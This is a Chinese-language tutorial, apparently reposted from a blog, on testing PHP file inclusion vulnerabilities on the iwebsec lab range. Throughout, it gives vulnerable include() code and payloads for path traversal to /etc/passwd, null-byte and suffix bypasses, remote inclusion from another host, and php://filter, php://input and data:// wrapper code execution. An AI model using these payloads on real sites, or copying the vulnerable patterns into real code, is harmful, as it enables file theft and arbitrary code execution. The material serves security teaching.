Web安全:文件包含漏洞測試.
文件包含的漏洞是? 程序員在開發(fā)網(wǎng)站的時候,為了方便自己開發(fā)構(gòu)架,使用了一些包含的函數(shù)(比如:php開發(fā)語言,include() , include_once() , require_once() 等等?),而且包含函數(shù)中的變量,沒有做一些過濾或者限制,使得用戶可以 控制傳到服務(wù)器中的數(shù)據(jù),導(dǎo)致文件包含漏洞。
目錄:
Web安全:文件包含漏洞測試.
文件包含漏洞的執(zhí)行規(guī)則:
?文件包含漏洞測試:
(1)本地文件包含.
(2)本地文件包含繞過.
(3)遠(yuǎn)程文件包含.
(4)遠(yuǎn)程文件包含繞過.
(5)php // filter 偽協(xié)議.
(6)php // input 偽協(xié)議.
(7)file:// 偽協(xié)議利用.
(8)data:// 偽協(xié)議.
文件包含漏洞的執(zhí)行規(guī)則:
文件包含漏洞可以怎么理解,就是一個 A 文件包含著另一個 B 文件,將包含著 B 文件里面的內(nèi)容,
以這個網(wǎng)站的腳本代碼 去執(zhí)行(如果你的網(wǎng)站是php就是php去執(zhí)行文件里面的內(nèi)容,如果你的網(wǎng)站是
python,那就是python去執(zhí)行文件里面的內(nèi)容)
測試使用的靶場是:iwebsec 靶場
搭建過程:https://tianyuk.blog.csdn.net/article/details/130341391
文件包含漏洞測試:
(1)本地文件包含.
原理:本地文件包含是通過瀏覽器包含Web服務(wù)器上的文件,這種漏洞是因為瀏覽器包含文件時沒有
進行嚴(yán)格的過濾,導(dǎo)致允許遍歷目錄的字符注入瀏覽器中,然后進行執(zhí)行.
代碼審計:
<?php
if(isset($_GET['filename'])){ // 可以查看沒有進行任何過濾
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
測試代碼:(讀取服務(wù)器中的 test.tst 文件,然后成功執(zhí)行了文件中的代碼.)
?filename=test.txt
測試代碼:(如果不知道,服務(wù)器中的文件在哪,則使用../../../../../)(可以多加幾個../)
然后再重新從一個文件,一步一步進行查看.
?filename=../../../../../etc/passwd
(2)本地文件包含繞過.
代碼審計:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename . ".html"); //可以看見只能使用指定后綴.(.html)
}else{
exit();
}
?>
繞過限制指定后綴的方法:使用(%00)進行截斷.
測試代碼:
?filename=test.txt%00
測試代碼:
?filename=../../../../../etc/passwd%00
(3)遠(yuǎn)程文件包含.
遠(yuǎn)程文件包含就是通過URL的形式包含的其他服務(wù)器上面的文件,從而使目標(biāo)主機執(zhí)行惡意代碼攻擊.
代碼審計:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看見沒有任何過濾,可以直接遠(yuǎn)程包含攻擊
}else{
exit();
}
?>
測試代碼:(添加另一個服務(wù)器的文件鏈接)
?filename=http://192.168.0.105:801/bgxg.txt
(4)遠(yuǎn)程文件包含繞過.
代碼審計:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename . ".html"); //可以看見只能使用指定后綴.(.html)
}else{
exit();
}
?>
繞過限制指定后綴的方法:
(1) # 繞過 (%23)
(2) 空格 繞過 (%20)
測試代碼:(添加另一個服務(wù)器的文件鏈接)(加 %23 【#】進行繞過限制)
?filename=http://192.168.0.105:801/bgxg.txt%23
測試代碼:(添加另一個服務(wù)器的文件鏈接)(加 空格 【%20】進行繞過限制)
?filename=http://192.168.0.105:801/bgxg.txt%20
(5)php // filter 偽協(xié)議.
php://filter 是一種元封裝器,是PHP中特有的協(xié)議流,設(shè)計用于數(shù)據(jù)流打開時的篩選過濾應(yīng)用,常用于讀取文件.
代碼審計:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看見沒有任何過濾
}else{
exit();
}
?>
測試代碼:
?filename=php://filter/convert.base64-encode/resource=文件路徑
(6)php // input 偽協(xié)議.
php//input任意代碼執(zhí)行;這種偽協(xié)議用于讀取原始的 HTTP POST 數(shù)據(jù),可以用于處理上傳的文件和表單數(shù)據(jù).
代碼審計:
代碼 1: (如果是 GET 方式,php://input 就可以用了)
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename); //可以看見沒有任何過濾
}else{
exit();
}
?>
代碼 2:(如果是 POST 方式,php://input 就不能用了)
<?php
echo file_get_contents("php://input");
?>
測試代碼:
?filename=php://input
<?php phpinfo(); ?> //顯示服務(wù)器信息.
(7)file:// 偽協(xié)議利用.
代碼審計:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}else{
exit();
}
?>
測試代碼:(?filename=file:///文件路徑)
?filename=file:///etc/passwd
(8)data:// 偽協(xié)議.
主要用于數(shù)據(jù)流的讀取,如果傳入的數(shù)據(jù)是PHP代碼,就會執(zhí)行任意代碼.
?filename=data://text/plain;base64,(base64編碼后數(shù)據(jù))
<?php phpinfo();?> base64編碼后 PD9waHAgcGhwaW5mbygpOz8+
base64編碼 在線工具:https://c.runoob.com/front-end/693/
然后再把 + url編碼 變?yōu)?%2b
測試代碼:
?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
? ? ?
? ??文章來源:http://www.zghlxwxcb.cn/news/detail-474407.html
? ?文章來源地址http://www.zghlxwxcb.cn/news/detail-474407.html
到了這里,關(guān)于Web安全:文件包含漏洞測試(防止 黑客利用此漏洞.)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!